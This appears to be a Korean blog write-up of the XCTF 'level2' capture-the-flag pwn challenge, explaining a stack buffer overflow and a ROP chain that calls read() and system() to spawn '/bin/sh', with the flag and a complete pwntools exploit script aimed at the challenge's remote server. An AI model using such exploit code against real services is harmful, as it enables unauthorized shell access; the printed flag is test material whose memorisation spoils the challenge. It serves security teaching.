ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • level2
    CTF/XCTF 2021. 1. 16. 03:15

    Disassembly 디스어셈블리


    주어진 바이너리 파일을 Cutter를 사용해 분석하면, 디컴파일이 깔끔하게 되었기에 코드를 쉽게 파악할 수 있다. 

    undefined4 main(void)
    {
        int32_t var_4h;
        
        vulnerable_function();
        system("echo \'Hello World!\'");
        return 0;
    }
    void vulnerable_function(void)
    {
        int32_t var_88h;
        
        system("echo Input:");
        read(0, &var_88h, 0x100); // Stack buffer overflow
        return;
    }

    vulnerable_function

    main 함수에서 vulnerable_function을 호출하고, 이 함수에서 Stack buffer overflow가 발생한다. 스택이나 라이브러리의 주소를 leak할 방법이 보이지 않으므로, ROP를 이용해 공격을 시도해보자.

    ROP


    목표는 system("/bin/sh")를 호출하는 것이다. 따라서 "/bin/sh\x00" 문자열을 쓰기 권한이 있는 영역에 저장한 다음 그 주소를 system 함수의 인자로 넘겨줘야 한다. 이는 read(0, addr, 0x8)을 호출한 다음 표준 입력으로 "/bin/sh\x00"을 넣어주는 것으로 해결 가능하다.

     

    따라서 payload는 다음과 같이 구성된다.

     

    // read(0, addr, 0x8)

    payload = dummy(0x88+4) + p32(read_plt) + p32(pppr) + p32(0) + p32(addr) + p32(0x8)

     

    // system(addr), addr = "/bin/sh"

    payload += p32(system_plt) + p32(0) + p32(addr) 

     

    어셈블리를 통해 확인한 결과 버퍼가 ebp로부터 0x88바이트만큼 떨어져 있으므로 더미는 0x8c바이트만큼 넣어주면 된다. addr는 쓰기 권한이 있는 아무 영역의 주소나 가능하므로 __libc_start_main 함수의 got로 설정했다.

     

    위의 payload를 전송한 후 "/bin/sh\x00"를 이어서 전송하면 addr 위치에 binsh가 들어가게 되고 system이 실행되어 쉘을 취득하게 된다.

    Flag

    cyberpeace{9ae566dd805af50b031467d28c0e4337}

    Code

    더보기
    from pwn import *
    
    # context.log_level = 'debug'
    
    p = remote("220.249.52.134", 39301)
    e = ELF("./level2")
    r = ROP(e)
    
    # gadgets
    read_plt = e.plt["read"]
    start_got = e.got["__libc_start_main"]
    system_plt = e.plt["system"]
    main = e.symbols["main"]
    pppr = (r.find_gadget(['pop esi', 'pop edi', 'pop ebp', 'ret']))[0]
    
    # payload
    payload = b"A"*0x8c
    
    # read(stdin, start_got, 0x8)
    payload += p32(read_plt)
    payload += p32(pppr)
    payload += p32(0)
    payload += p32(start_got)
    payload += p32(0x8)
    
    # system(start_got)
    payload += p32(system_plt)
    payload += p32(0)
    payload += p32(start_got)
    
    payload += b"A"*(0x100-len(payload))
    
    # overwrite start_got with binsh
    payload += b"/bin/sh\x00"
    
    p.recvuntil("Input:\n")
    p.send(payload)
    
    p.interactive()

    'CTF > XCTF' 카테고리의 다른 글

    Recho  (0) 2021.02.11
    pwn-100  (0) 2021.02.11
    welpwn  (0) 2021.02.11
    Mary_Morton  (0) 2021.02.11
    int_overflow  (0) 2021.01.21

    댓글

Designed by Tistory.